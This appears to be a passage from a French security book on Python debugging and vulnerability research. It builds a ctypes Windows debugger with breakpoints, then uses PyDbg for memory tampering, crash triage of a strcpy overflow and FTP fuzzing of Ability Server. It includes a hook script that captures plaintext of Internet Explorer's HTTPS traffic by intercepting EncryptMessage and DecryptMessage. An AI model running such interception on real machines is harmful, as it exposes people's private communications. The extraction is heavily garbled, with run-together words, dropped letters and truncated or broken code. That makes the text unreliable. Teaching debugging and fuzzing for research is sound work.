etdemmemodifiermon_test.py.
mon_debugger2.py
- 7-
creation_f lags,None,None,byref(startupinfo),
byref(process_information)):
print "[*] Nous avons lance le process !"
print "[*] PID: %d"%process_information.dwProcessId
else:
print "[*] Erreur: 0x%08x." %
kernel32.GetLastError()
print "[*] Nous avons attache le processus avec succes"
print "[*] PID: %d"% process_information.dwProcessId
self.h_process=self.open_process
(process_information.dwP rocessId)
def open_process(self,pid):
h_process=kernel32.OpenProcess
(PROCESS_ALL_ACCESS,pid,False)
return h_process
def attach(self,pid):
self.h_process=self.open_process(pid)
if kernel32.DebugActiveProcess(pid):
self.debugger_active=True
self.pid=int(pid)
self.run()
else:
print "[*] impossible dattacher le processus"
def run(self):
while self.debugger_active==True:
self.get_debug_event()
def get_debug_event(self):
debug_event=DEBUG_EVENT()
continue_status=DBG_CONTINUE
if
kernel32.WaitForDebugEvent(byref(debug_event),INFINITE):
raw_input("Appuyer sur une touche pour
continuer...")
self.debugger_active=False
kernel32.ContinueDebugEvent
(debug_event.dwProcessId,
debug_event.dwThreadId,continue_status)
def detach(self):
if kernel32.DebugActiveProcessStop(self.pid):
print "[*] debogage termine. sortie..."
return True
else:
print "il y a une erreur"
return False
mon_test2.py
import mon_debugger2
debugger=mon_debugger2.debugger()
pid=raw_input("entrez le PID du processus a attacher: ")
debugger.attach(int(pid))
debugger.detach()
Lancezmaintenantlacalculatrice(DmarrerProgrammesAccessoires Calculatrice).
NousdevonsmaintenantdterminersonPID.
Pourcela,effectuezunclicdroitsurlabarredestchesWindowsetslectionnezGestionnairedes
tches.
- 8-
Si les PID napparaissent pas, cliquez sur Affichage puis slectionnez les colonnes et cochez PID
(IdentificateurdeProcessus).
VouspouvezmaintenantreleverlePIDduprocessuscalc.exe.
Lancez maintenant le script mon_test2.py, indiquez le PID du processus puis appuyez sur une touche
quandcelavousestdemand.
Avant dappuyer sur une touche, vous pouvez constater que la calculatrice est toujours prsente mais vous ne
pouvezaccderaucunefonctionnitouchedecelleci.Leprocessusestsuspendupourlinstant.
Dsquevouspressezunetoucheduclavier,lacalculatriceestdtachedudebuggeretvousrcuprezdoncla
mainsurcelleci.
Nousavonsdjeffectuunbontravail,nousallonsmaintenantvoircomment interagiravecleprocessus.
- 9-
tatdesregistres
Undesprincipauxatoutsdundbogueurestdepouvoirvisualiserlecontenudesregistres.Quanduneexception
apparat, nous devons tre capables de dterminer ltat de la pile nimportequelendroitetnimporte quel
moment.
Pourcefaire,nousdevonsdoncobtenirlesinformationsduthreadcourant.
La fonction OpenThread() va nous y aider en lui indiquant les paramtres adquats. Cette fonction est trs
semblableOpenProcess()maisaulieudeluitransmettrelePID,nousdevronsluitransmettreleTID(Thread
Identifier).
1.numrationdesthreads
Nous devons donc tre capables dnumrer tous les threads du processus. Nous avons pour cela notre
disposition lafonction CreateToolhelp32Snapshot() de la DLL kernel32.dll. Nous pourrons donc obtenir
parexemplelalistedesprocessus,desthreadsetlesDLLchargs.
LeparamtredwFlagsindiqueralafonctioncequenousdsironsregarder(threads,DLL,processus,heap).
NousmettronsdoncceparamtreTH32CS_SNAPTHREAD(valeur0x00000004)pourvoirlesthreads.
Lautreparamtre,th32ProcessID,estsimplementlePIDduprocessus.
Quandlafonctionrussit,ellenousretournelehandledelobjetsnapshot.
Unefoisquenousavonslalistedesthreads,nouspouvonslesnumrer.
Pour commencer lnumration, nous utiliserons Thread32First() qui demande deux paramtres :
Hsnapshot,lehandleretournpour CreateToolhelp32Snapshot(),etleparamtre lpte,unpointeur
surlastructureTHREADENTRY32.Cettestructurecontiendralesinformationsdupremierthreadtrouv.
Danscettestructure,troischampsnousintressent :
dwSize :tailledelastructure.
th32threadID :TIDduthreadexamin.
th32OwnerProcessID :PIDduprocessuscontenantlethread.
Nous pourrons ensuite passer lautre thread avec la fonction Thread32Next() qui demande les mmes
paramtres que Thread32First(). Nous pourrons placer Thread32Next() dans une boucle afin de
parcourirtouslesthreads.
2.Rcuprationdesvaleursdesregistres
La fonction GetThreadContext() va nous permettre de rcuprer les valeurs des registres et la fonction
SetThreadContext()delesmodifier.
Ces deux fonctions acceptent deux arguments identiques. Le premier, hThread, est lentte retourn par
OpenThread()etledeuximeargument,lpContext,estunpointeurverslastructureCONTEXTquicontient
lavaleurdetouslesregistres.
Vouspouvezallerconsulterlecontenudecettefonctiondanslescriptmes_definitions_debugger_final.py.
Reprenonsdoncmon_debugger2.pyetmon_test2.pypourlesmodifier.
- 1-
Ajouterdansmon_debugger2.pyquidevientmon_debugger3.py
def enumerate_threads(self):
thread_entry=THREADENTRY32()
thread_list=[]
snapshot=kernel32.CreateToolhelp32Snapshot
(TH32CS_SNAPTH READ,self.pid)
if snapshot is not None:
thread_entry.dwSize=sizeof(thread_entry)
success=kernel32.Thread32First
(snapshot,byref(thread_ entry))
while success:
if thread_entry.th32OwnerProcessID==self.pid:
thread_list.append(thread_entry.th32ThreadID
success=kernel32.Thread32Next
(snapshot,byref(thread_entry))
kernel32.CloseHandle(snapshot)
return thread_list
else:
return False
def get_thread_context (self, thread_id=None,h_thread=None):
context = CONTEXT()
context.ContextFlags = CONTEXT_FULL |
CONTEXT_DEBUG_REGISTERS
if h_thread is None:
self.h_thread = self.open_thread(thread_id)
if kernel32.GetThreadContext(self.h_thread,
byref(context)):
return context
else:
return False
Modifionsmaintenantmon_test2.pyenmon_test3.py.
mon_test3.py
import mon_debugger3
debugger=mon_debugger3.debugger()
pid=raw_input("entrez le PID du processus a attacher: ")
debugger.attach(int(pid))
list=debugger.enumerate_threads()
for thread in list:
thread_context=debugger.get_thread_context(thread)
print "[*] Dump des registres pour le thread avec lID 0x
%08x"%thread
print "[**] EIP: 0x%08x"%thread_context.Eip
print "[**] ESP: 0x%08x"%thread_context.Esp
print "[**] EBP: 0x%08x"%thread_context.Ebp
print "[**] EAX: 0x%08x"%thread_context.Eax
print "[**] EBX: 0x%08x"%thread_context.Ebx
print "[**] ECX: 0x%08x"%thread_context.Ecx
print "[**] EDX: 0x%08x"%thread_context.Edx
print "[*] fin du DUMP"
debugger.detach()
Lacapturesuivantemontrelersultatdelexcutionduscript:
- 2-
- 3-
Lesvnementsdudebugger
NousallonsrevenirsurlafonctionWaitForDebugEvent()quinousretourne lastructureDEBUG_EVENT.
Cette structure contient beaucoup dinformation dont dwDebugEventCode qui va particulirement nous
intresser,ellevanousindiquerqueltypedvnement aeulieu.
EnregardantlavaleurdedwDebugEventCode,nouspourronsainsidterminerlvnement.
Code
dvnement
Valeurducode
Valeurdelunionu
0x1
EXCEPTION_DEBUG_EVENT
u.Exception
0x2
CREATE_THREAD_DEBUG_EVENT
u.CreateThread
0x3
CREATE_PROCESS_DEBUG_EVENT
u.CreateProcessInfo
0x4
EXIT_THREAD_DEBUG_EVENT
u.ExitThread
0x5
EXIT_PROCESS_DEBUG_EVENT
u.ExitProcess
0x6
LOAD_DLL_DEBUG_EVENT
u.LoadDll
0x7
UNLOAD_DLL_DEBUG_EVENT
u.UnloadDll
0x8
OUTPUT_DEBUG_STRING_EVENT
u.DebugString
0x9
RIP_EVENT
u.RipInfo
Ajoutonsdoncmaintenantquelquesdfinitionsmon_debugger3.pyquidevient doncmon_debugger_final.py
Nous utiliserons mon_debugger_final.py jusqu la fin de ce chapitre, des fonctions que nous verrons
ultrieurementyontdjtplaces.
mon_debugger_final.py
system_info = SYSTEM_INFO()
kernel32.GetSystemInfo(byref(system_info))
self.page_size = system_info.dwPageSize
self.guarded_pages
= []
self.memory_breakpoints = {}
- 1-
def load(self,path_to_exe):
creation_flags = DEBUG_PROCESS
startupinfo
= STARTUPINFO()
process_information = PROCESS_INFORMATION()
startupinfo.dwFlags
= 0x1
startupinfo.wShowWindow = 0x0
startupinfo.cb = sizeof(startupinfo)
if kernel32.CreateProcessA(path_to_exe,
None,
None,
None,
None,
creation_flags,
None,
None,
byref(startupinfo),
byref(process_information)):
print "[*] Nous avons lance le processus avec succes!"
print "[*] Le processus a lID: %d" % \
process_information.dwProcessId
self.pid = process_information.dwProcessId
self.h_process =
self.open_process(self,process_information.dwProcessId)
self.debugger_active = True
else:
print "[*] Erreur avec le code derreur %d." %
kernel32.GetLastError()
def open_process(self,pid):
h_process =
kernel32.OpenProcess(PROCESS_ALL_ACCESS,False,pid)
return h_process
def attach(self,pid):
self.h_process = self.open_process(pid)
if kernel32.DebugActiveProcess(pid):
self.debugger_active = True
self.pid
= int(pid)
else:
print "[*] Impossible dattacher le processus."
def run(self):
while self.debugger_active == True:
self.get_debug_event()
def get_debug_event(self):
debug_event
= DEBUG_EVENT()
continue_status = DBG_CONTINUE
if kernel32.WaitForDebugEvent(byref(debug_event),100):
self.h_thread
=
self.open_thread(debug_event.dwThreadId)
self.context
=
self.get_thread_context(h_thread=self.h_thread)
self.debug_event
= debug_event
- 2-
def detach(self):
if kernel32.DebugActiveProcessStop(self.pid):
print "[*] le debogage se fini. Exit..."
return True
else:
print "Il y a une erreur"
return False
def open_thread (self, thread_id):
h_thread = kernel32.OpenThread(THREAD_ALL_ACCESS, None,
thread_id)
if h_thread is not None:
return h_thread
else:
print "[*] Ne peut pas obtenir den-tete de thread
valide."
return False
def enumerate_threads(self):
thread_entry
= THREADENTRY32()
thread_list
= []
snapshot
=
kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, self.pid)
if snapshot is not None:
thread_entry.dwSize = sizeof(thread_entry)
success = kernel32.Thread32First(snapshot,
byref(thread_entry))
while success:
if thread_entry.th32OwnerProcessID == self.pid:
thread_list.append(thread_entry.th32ThreadID)
success = kernel32.Thread32Next(snapshot,
byref(thread_entry))
- 3-
kernel32.CloseHandle(snapshot)
return thread_list
else:
return False
def get_thread_context (self, thread_id=None,h_thread=None):
context = CONTEXT()
context.ContextFlags = CONTEXT_FULL |
CONTEXT_DEBUG_REGISTERS
if h_thread is None:
self.h_thread = self.open_thread(thread_id)
if kernel32.GetThreadContext(self.h_thread,
byref(context)):
return context
else:
return False
def read_process_memory(self,address,length):
data
read_buf
count
= ""
= create_string_buffer(length)
= c_ulong(0)
kernel32.ReadProcessMemory(self.h_process, address,
read_buf, 5, byref(count))
data
= read_buf.raw
return data
def write_process_memory(self,address,data):
count = c_ulong(0)
length = len(data)
c_data = c_char_p(data[count.value:])
if not kernel32.WriteProcessMemory(self.h_process,
address, c_data, length, byref(count)):
return False
else:
return True
def bp_set(self,address):
print "[*] Le breakpoint est place en : 0x%08x" % address
if not self.breakpoints.has_key(address):
old_protect = c_ulong(0)
kernel32.VirtualProtectEx(self.h_process, address, 1,
PAGE_EXECUTE_READWRITE, byref(old_protect))
original_byte = self.read_process_memory(address, 1)
if original_byte != False:
if self.write_process_memory(address, "\xCC"):
self.breakpoints[address] = (original_byte)
return True
else:
return False
def exception_handler_breakpoint(self):
print "[*] Adresse de lexception: 0x%08x" %
- 4-
self.exception_address
# check if the breakpoint is one that we set
if not self.breakpoints.has_key(self.exception_address):
if self.first_breakpoint == True:
self.first_breakpoint = False
print "[*] Tapez le premier breakpoint."
return DBG_CONTINUE
else:
print "[*] Tapez le breakpoint defini par
lutilisateur."
self.write_process_memory(self.exception_address,
self.breakpoints[self.exception_address])
self.context =
self.get_thread_context(h_thread=self.h_thread)
self.context.Eip -= 1
kernel32.SetThreadContext
(self.h_thread,byref(self.con text))
continue_status = DBG_CONTINUE
return continue_status
def func_resolve(self,dll,function):
handle = kernel32.GetModuleHandleA(dll)
address = kernel32.GetProcAddress(handle, function)
kernel32.CloseHandle(handle)
return address
def bp_set_hw(self, address, length, condition):
if length not in (1, 2, 4):
return False
else:
length -= 1
if condition not in (HW_ACCESS, HW_EXECUTE, HW_WRITE):
return False
if not self.hardware_breakpoints.has_key(0):
available = 0
elif not self.hardware_breakpoints.has_key(1):
available = 1
elif not self.hardware_breakpoints.has_key(2):
available = 2
elif not self.hardware_breakpoints.has_key(3):
available = 3
else:
return False
for thread_id in self.enumerate_threads():
context = self.get_thread_context(thread_id=thread_id)
context.Dr7 |= 1 << (available * 2)
if
elif
elif
elif
available
available
available
available
==
==
==
==
0:
1:
2:
3:
context.Dr0
context.Dr1
context.Dr2
context.Dr3
=
=
=
=
address
address
address
address
- 5-
slot == 0:
context.Dr0
elif slot == 1:
context.Dr1
elif slot == 2:
context.Dr2
elif slot == 3:
context.Dr3
= 0x00000000
= 0x00000000
= 0x00000000
= 0x00000000
- 6-
if kernel32.VirtualQueryEx(self.h_process, address,
byref(mbi), sizeof(mbi)) < sizeof(mbi):
return False
current_page = mbi.BaseAddress
while current_page <= address + size:
self.guarded_pages.append(current_page)
old_protection = c_ulong(0)
if not kernel32.VirtualProtectEx(self.h_process,
current_page, size, mbi.Protect | PAGE_GUARD, byref(old_protection )):
return False
current_page += self.page_size
self.memory_breakpoints[address] = (address, size, mbi)
return True
Testonslesfonctionsvuesdansceparagraphelaidedemon_test4.py.
mon_test4.py
import mon_debugger_final
debugger=mon_debugger_final.debugger()
pid=raw_input("entrez le PID du processus a attacher: ")
debugger.attach(int(pid))
debugger.run()
debugger.detach()
Nousobtenonsdonclersultatsuivant,toujourspourlacalculatrice.
- 7-
Lespointsdarrt(breakpoints)
1.Pointsdarrtlogiciel
Pourplacerdespointsdarrt,nousdevonstrecapablesdcrireetdeliredanslammoire.
LafonctionReadProcessMemory()vanousyaiderainsiqueWriteProcessMemory().
Grcecesdeuxfonctions,nousallonspouvoirinspecterlammoire.
Les paramtres leur fournir sont lpBaseAddress (adresse o nous voulons commencer lire ou crire),
lpBuffer(pointeurversladonnequenousvoulonslireoucrire), nSize(nombretotaldoctets que nous
voulonslireoucrire).
Enutilisantcesdeuxfonctions,nouspourronsutiliseraismentdansnotredebuggerlespointsdarrt.
Gnralement,lespointsdarrtsontplacssurunappeldefonction.Pourlexercice,nousutiliseronslappel
printf().
Pour dterminer ladresse virtuelle dune fonction, nous utiliserons GetProcessAddress() qui sera export
dekernel32.dll.
Nous aurons besoin de lentte de la fonction sur lappel de laquelle nous dsirons placer le point darrt,
GetmoduleHandle()nousyaidera.
Vouspouvezallervoirlesdfinitionsde read_process_memory(),write_process_memory(), bp_set
()etfunc_resolve()dansmon_debugger_final.pysivoussouhaitezplusdedtailsldessus.
Pournouspermettredetesterlescriptquivabouclersurunprintfquenousappeleronsboucle_printf.py,nous
allonscrireunautrescript,mon_test5.py.
mon_test5.py
import mon_debugger_final
debugger=mon_debugger_final.debugger()
pid=raw_input("entrez le PID du processus a attacher: ")
debugger.attach(int(pid))
printf_address=debugger.func_resolve("msvcrt.dll","printf")
print "[*] Adresse du printf : 0x%08x"%printf_address
debugger.bp_set(printf_address)
debugger.run()
debugger.detach()
boucle_printf.py
- 1-
Nous devrons donc au pralable lancer le script boucle_printf.py puis trouver son PID pour ensuite renseigner
mon_test5.pyaveccePID.
Notre debugger supporte maintenant les points darrt logiciel, nous pouvons passer aux points darrt
matriels.
2.Pointsdarrtmatriel
Nousdevonsavoirenttequepourutiliserlespointsdarrtmatriel,nousdevonstrouverlequeldesquatre
registresdedbogageestlibreetlequeladjtutilis.
Nousallonscommencerparnumrertouslesthreadsduprocessusetrcuprerlecontextepourchacundeux.
Ensuite,nousmodifieronsundesregistresentreDR0etDR3pourcontenirladressedupointdarrtdsir.
NousconfigureronsensuitelebitappropriduregistreDR7pourvaliderlepointdarrt,nousconfigureronsaussi
sontypeetsataille.
Une fois ceci fait, nous devrons modifier notre boucle dvnement avec lentte appropri de lexception qui
seragnreparnotrepointdarrtmatriel.
Vouspouvezpourcelatudierladfinitiondebp_set_hw()dansmon_debugger_final.py.
Nousouvronsunslotpourenregistrernotrepointdarrtenvrifiantledictionnaire hardware_breakpoint.
Maintenantquenousavonsobtenuunslotlibre,nousluiassignonsladressedupointdarrtmatrieletnous
modifions leregistreDR7avecledrapeauappropripourvalidercepointdarrt.
Vous pourrez aussi tudier la dfinition de exception_handler_
decemmescript.
single_step() et de bp_del_hw()
QuanduneinterruptionINT1apparat,nousvrifionssiundesregistresdedbogageestactivavecunpoint
darrtmatriel.
Si cest le cas, une exception est gnre, cela remet zro les drapeaux du registre DR7 et remet zro le
registrequicontientladressedupointdarrt.
Nousallonscrerunscriptmon_test6.pypourtestercela.
- 2-
mon_test6.py
import mon_debugger_final
from mes_definitions_debugger_final import *
debugger=mon_debugger_final.debugger()
pid=raw_input("entrez le PID du processus a attacher: ")
debugger.attach(int(pid))
printf_address=debugger.func_resolve("msvcrt.dll","printf")
print "[*] Adresse du printf : 0x%08x"%printf_address
debugger.bp_set_hw(printf_address,1,HW_EXECUTE)
debugger.run()
debugger.detach()
Lacapturesuivantemontrelersultatdelexcutionduscript:
3.Pointdarrtmmoire
Nous allons devoir dabord dterminer ladresse de base de la section de mmoire (o dbute la page de la
mmoirevirtuelle).
Lorsque nous avons dtermin la taille de la page, nous allons activer ses permissions pour quelle agisse
commeunepagedegarde.
Quand le CPU va tenter daccder cette zone mmoire, une exception de type GUARD_PAGE_EXCEPTION va
tre gnre. En utilisant un entte spcifique pour cette exception, nous reviendrons la page originale et
continueronslexcution.
Pour calculer la taille de la page, nous utiliserons la fonction GetSystem- Info() qui remplira la structure
SYSTEM_INFOcontenantellemmedwPageSize quinousdonneracetteinformation.
Maintenant que nous savons cela, la premire tape va tre de faire une requte sur la page contenant
ladressemmoiredubreakpointquenousvoulons placer.
- 3-
CequiserafaitgrcelafonctionVirtualQueryEx()quirempliralastructure MEMORY_BASIC_INFORMATION
contenantlescaractristiquesdelapagedemande.
Nousutiliseronsensuitelavaleur BaseAddresscommepointdedpartpourcommencerlaconfigurationdes
permissions.LafonctionVirtualProtectEx()nousyaidera.
Retournons notre script mon_debugger_final.py afin dy tudier le fonctionnement de ces fonctions
(bp_set_memory()).
Nousvenonsdedcouvrirlesmandresdundebugger simpliste afindencomprendrelesmcanismes,cequi
pourranousaiderparlasuite.
Unebibliothquespcifiqueatdveloppepouraiderle pythoniste ,PyDbg.
- 4-
LabibliothquePyDbg
Nousavonsvudanslessectionsprcdentescommentplacerdespointsdarrt,maiscommentfaireavecPyDbg ?
Une fonction bp_set(address,
aider.
Largumentaddressestladresseonousvoulonsplacerlepointdarrtlogiciel.
Leparamtredescriptorestoptionneletpeuttreutilispourdonnerunnomaupointdarrt.
Leparamtre restoredterminesilepointdarrtdoitautomatiquementtreremiszroaprsavoirrcupr
lentteetleparamtrehandlerspcifiequellefonctionappeler.
Toutes les informations du contexte, des threads et processus vont tre renseignes par cette classe lors de
lappellafonction.
Nousallonsutiliserlescriptboucle_printf.pydessectionsprcdentesetgrceunnouveauscript,nousallons
lirelesvaleursducompteuretlesremplacerparunevaleuralatoirecompriseentre1et100.
Nousallonsdoncobserver,lireetmanipulerdesdonnesduprocessuscibleentempsrel.
printf_random.py
Rsultatobtenupourboucle_printf.py
- 1-
iteration 86 de la boucle
iteration 22 de la boucle
iteration 70 de la boucle
Rsultatobtenupourprintf_random.py
Nousarrivonsdoncattacherleprocessusetchangerlesvaleursducompteur commenouslesouhaitons.
1.Violationdaccsdesenttes(handlers)
Une violation daccs des handlers apparat dans un processus quand il essaie daccder une partie de la
mmoirepourlaquelleilnapaslespermissions.
Enscuritinformatique,unetelleviolationdaccspeuttreintressantecarpeuttreexploitablepourtrouver
unefaille.
Avec le debugger, il faut tre capable dattraper cette violation et de rcuprer toutes les informations
importantestellesquelaframedelapile,lesregistresetlinstructionquiaprovoqucelleci.
PyDbgpossdeunemthodequivanouspermettredeffectuertoutcelamaisauparavant,nousallonscrerle
problmeafindetestertoutcelaencrantunscriptaveclafonctionstrcpy()quicommetoutlemondelesait
estfaillible.
buffer_overflow.py
Nouscronsiciunbuffercontenant5octetspuisnousplaonsdansceluici100octetslaidedelacommande
strcpy().
Sinouslanonscescript,nousobtenonsuneerreursystme.
- 2-
Nousallonsmaintenantcrerlescriptquivarcuprerceproblmeetnousdonnerlesinformationsncessaires.
recuperation_violation_acces.py
Nousallonsdonclancermaintenantlesdeuxscriptsenrespectantbiensrlesdemandesdechacundeux(PID
duprocessus,appuyersurunetouche...).
Vousdevriezavoirunrsultatsemblableceluici.
- 3-
NouspouvonsvisualiserfacilementlecontenudesregistresetpouvonsparexemplevoirlesregistresEDX,EAX
contenantdes41414141soit AAAA .
Nousvoyonsaussiapparatrelecodeenassembleur,lecontenudelapile...
2.ProcessSnapshot
PyDbgpossdeunecaractristiqueassezutileappele process snapshotting quipermetdeprendre une
photo uninstanttduprocessus,cequinousfournitdesinformationsducontenudelammoirecemoment
parexemple.
Cestunprocessustrsutilequandonveutfairedelingnierieinverse(reverseengineering)oulorsdanalyse
duncrash.
Nousallonsdabordessayerdeprendrecettephoto.Nousdevonsdoncobtenirtouslesthreadsetleurcontexte
ainsiquetouteslespagesenmmoireainsiqueleurcontexte.
Une fois que nous aurons obtenu toutes ces informations, il nous suffira de les enregistrer afin de les lire
ultrieurement.
- 4-
Nousallonsdoncdevoirsuspendretouslesthreadsduprocessuspourque,pendantlaprisedelaphoto,tout
restedansltat.
Lesfonctionssuspend_all_threads()etresume_all_threads()nousseronttrsutiles.
Nous pourrons ensuite utiliser la fonction
systme.
Lafonctionprocess_restore()sertrelancerlesystme.
Mieuxvautunexempleconcret.
Snapshot.py
- 5-
exe_path="C:\\WINDOWS\\System32\\calc.exe"
snapshotter(exe_path)
Touteslestapessontvalidesetnouspouvonscomprendreaismentenlisantlescriptladmarchesuivre.
Nous pouvons maintenant nous atteler crer un script qui reprend tout ce que nous avons vu afin daider
lutilisateurtrouverdansdesapplicationsdesfaillespotentiellescommelesbufferoverflows,lesformatstrings
oulacorruption demmoire.
Le script va localiser la fonction faillible. Quand la fonction que lon a dfinie comme faillible est appele, nous
drfrencerons quatre registres (comme EIP) et prendrons une photo (snapshot). Si une violation daccs
intervient,notrescriptreviendraauderniersnapshotprispourcettefonction.
Voicicescript :
traqueur_de_danger.py
if dbg.dbg.u.exception.dwFirstChance:
return DBG_EXCEPTION_NOT_HANDLED
crash_bin=utils.crash_binning.crash_binning()
crash_bin.record(dbg)
print crash_bin.crash_synopsis()
if crash_encountered==False:
dbg.suspend_all_threads()
dbg.process_restore()
crash_encountered=True
for thread_id in dbg.enumerate_threads():
print "[*] configuration du mode pas a pas pour le
thread:0x%08x"%yhread_id
h_thread=dbg.open_thread(thread_id)
dbg.single_step(True,h_thread)
dbg.close_hnadle(h_thread)
dbg.resume_all_threads()
return DBG_CONTINUE
else:
dbg.terminate_process()
return DBG_EXCEPTION_NOT_HANDLED
def single_step_handler(dbg):
global instruction_count
global crash_encountered
if crash_encountered:
if instruction_count==MAX_INSTRUCTIONS:
dbg.single_step(False)
return DBG_CONTINUE
else:
instruction=dbg.disasm(dbg.context.Eip)
print "#%d\t0x%08x : %s"%
(instruction_count,dbg.context.Eip,instruction)
instruction_count +=1
dbg.single_step(True)
dbg=pydbg()
pid=int(raw_input("entrez le PID que vous souhaitez monitorer: "))
dbg.attach(pid)
for func in dangerous_functions.keys():
func_address=dbg.func_resolve
(dangerous_functions[func],func)
print "[*] resolution du point darret: %s => 0x%08x"%
(func,func_address)
dbg.bp_set(func_address,handler=danger_handler)
dangerous_functions_resolved[func_address]=func
dbg.set_callback(EXCEPTION_ACCESS_VIOLATION,access_violation_handler
dbg.set_callback(EXCEPTION_SINGLE_STEP,single_step_handler)
dbg.run
SinousappliquonscescriptetluidonnonsunPID(danscecaslePIDdecontext,unditeurdetextegratuit)
nousobtenons :
SinoustentonslammeexprienceavecunlogicielquelonsaitfaillibletelqueAbilityServer,nousobtiendrons
lcransuivant :
- 7-
Nousvoyonsdoncquelapplicationplanteetdoncquunedesfonctionstrouveparlescriptetnumredansla
consoleestfaillible.
Cestunepremireapprocheafindetesterdesapplicationsvulnrablesaveclarecherchedexploits.
Nous verrons dans le chapitre suivant que PyDbg peut tre, entre autres, utilis pour crer un fuzzer
dapplications.
- 8-
Applications :Hooking
1.nonc
Prrequis:PyDbg
But:crerunhookdInternetExplorer.
nonc:
Unhook(littralementcrochetouhameon)permetlutilisateurdunlogicieldepersonnaliserlefonctionnement
decedernier,enluifaisantraliserdesactionssupplmentairesdesmomentsdtermins.
Nousvoudrionsdonc sniffer lesconnexionsSSLdInternetExplorerquiutiliseCryptoAPIdeMicrosoft.
2.Solution
hook_ssl_pydbg.py
- 1-
print "\n-----------------------------------------\n"
return DBG_CONTINUE
def ssl_sniff_decrypt(dbg, args, ret):
buffer = ""
offset = 0
addr=dbg.context.Esp + 32
addr_buffer = struct.unpack(L,dbg.read_process_memory(addr,
4))[0]
try:
while 1:
byte = dbg.read_process_memory(addr_buffer + offset,
1 )
if byte != "\x00":
buffer += byte
offset += 1
continue
else:
break
print "Reponse: \n\n%s" % buffer
print "\n-----------------------------------------\n"
except:
pass
return DBG_CONTINUE
def Main():
dbg = pydbg()
test_ie= False
for (pid, name) in dbg.enumerate_processes():
print "PID: %s Processes: %s" % (pid, name)
proc_id = raw_input("\nEntrez le PID du processus a attacher: ")
for (pid, name) in dbg.enumerate_processes():
if pid==int(proc_id) and name.lower() == "iexplore.exe":
answer=raw_input("\nEssayons de faire un hook sur
wininet.dll => EncryptMessage (Y or N)?: ")
if answer.lower()==y:
test_ie=True
try:
hooks = utils.hook_container()
dbg.attach(int(proc_id))
print "\n[*] Attachons le processus avec le PID: %d" %
int(proc_id)
if test_ie:
hook_address = 0x77AA1000 # adresse de wininet.dll
else:
hook_address =
dbg.func_resolve_debuggee("Secur32.dll","EncryptMessage")
hook_address2 =
dbg.func_resolve_debuggee("Secur32.dll","DecryptMessage")
if hook_address and hook_address2:
if test_ie:
hooks.add( dbg, hook_address, 4, ssl_sniff_wininet, None )
print "[*] Wininet.dll hooked at: 0x%08x" % hook_address
else:
hooks.add( dbg, hook_address, 4, ssl_sniff_encryptmessage,
None )
print "[*] Secur32.EncryptMessage hooked at: 0x%08x" %
hook_address
hooks.add( dbg, hook_address2, 4, None, ssl_sniff_decrypt )
print "[*] Secur32.DecryptMessage hooked at: 0x%08x" %
hook_address2
except:
print "[*] Erreur: Ne peut pas rsoudre ladresse de hook."
sys.exit(-1)
print "[*] Hook valide, on continue."
dbg.run()
- 2-
Ladresse0x77AA1000correspondladressedewininet.dlltrouvegrceImmunityDebugger.Eneffet,ilfaut
utiliserundebuggertelqueOllydbgouImmunityDebuggerafindetrouverlesadressesenmmoireoudansla
pile.ImmunityDebuggerestprfrablecarnouspouvonsychargerdesscriptsPython.
Pour plus de dtails ce sujet, vous pouvez consulter louvrage "Scurit Informatique Ethical hacking" des
ditionsENIetplusparticulirementlasectionsurlesbufferowerflows.
NousobtenonslersultatsuivantentestantcescriptsurInternetExplorer,connectsurunsiteenHTTPS :
- 3-
Introduction
Issudutermeanglaisfuzzy(flouenfranais),lefuzzingestunemthodedautomatisation destests.Ellesappuie
surdesfuzzers(outilslogiciels)pourautomatiserlidentificationdebugsoudefaillesdansdesapplications.Elle
apporte ungaindetempsimportantfacedesprogrammespouvantcomporterdesmilliersdelignesdecode.
Le processus consiste vrifier les entres possibles pour une application donne, et forcer des oprations
dans le cas o celleci ragit de manire anormale. Le fuzzer servira ainsi bombarder lapplication de codes
volontairementmalforms.
Safinalitestlamliorationdesdveloppements,unefoisunbugidentifi.Lefuzzingsedestineavanttoutaux
dveloppeurs et aux chercheurs en scurit. Toutefois, les pirates savrent galement des utilisateurs du
procd.
Ilexistedesfuzzers clsenmain quinouspermettentdefairelespremierstestsetnousdonnentsouventde
bonsrsultats,maissouventnousdevronspouruncasspcifiquecrernousmmesnotrefuzzer.
NouspouvonslisterquelquesfuzzerstelsqueSpike,Fusil,zzuf,wfuzz...
DesfuzzersserontspcifiquesunprotocoleouunservicecommeparexempledesfuzzersFTP,web...
- 1-
FuzzingFTP
Prenons pour commencer un cas simple avec lapplication Ability Server 2.34 qui est un logiciel commercial
permettantdecrersimplementunserveurFTP,HTTPouemail.
NousnousattaqueronsauserveurFTPpuisquefaillibleetconnu.
AllonsdansSettingspourconfigurerunutilisateuraveclidentifiantftpetlemotdepasseftpparexemple.
partirdecemoment,lorsquenouscliquonssurActivatesurlalignedeFTPServer,nousobtenonsunaccsau
FTPennousconnectantentantquutilisateurftpaveclemotdepasseftp.
Nouspartironsdoncdececonstatpourcrerunscriptquivatenterdefaireplanterlapplication.
Nous sommes en prsence du protocole FTP, il nous faut donc savoir quels sont les tests que nous pourrons
effectuer.
Undestestspossiblesestdefournirenargumentdunecommandeunnombredargumentsnonprvu.
- 1-
Il nous faut donc rpertorier les commandes FTP qui acceptent des arguments. Pour cela, nous avons une
documentationtrsutilequiestlaRFC.
Nous pouvons donc aller consulter la RFC 959 et nous pourrons voir que les commandes CWD, MKD et STOR
acceptentdesarguments.
Pourlexemple,nousneprendronsquecestroiscommandes,maisdanslapratique,ilfaudraittestertoutesles
commandesacceptantunargument.
NousallonsdonccommencerparcrireunscriptenPythonquieffectuelaconnexionpourtestercelleci.
script_connexion_ftp.py
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.0.0.10",21))
data=s.recv(1024)
print data
s.send("USER ftp\r\n")
print s.recv(1024)
s.send("PASS ftp\r\n")
print s.recv(1024)
s.send("QUIT\r\n")
s.close()
Entestantcescript,nouspouvonsconstaterquuneconnexiondelutilisateurftpestbienvueparAbilityServer.
Continuons notre investigation et essayons, lorsque nous sommes connects, denvoyer une commande et de
recevoirlarponse.
script_commande_ftp.py
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.0.0.10",21))
data=s.recv(1024)
print data
s.send("USER ftp\r\n")
print s.recv(1024)
s.send("PASS ftp\r\n")
print s.recv(1024)
s.send("PWD\r\n")
data=s.recv(1024)
print data
s.send("QUIT\r\n")
s.close()
- 2-
NousavonsdoncrussienvoyeretrecevoirunecommandeFTP.
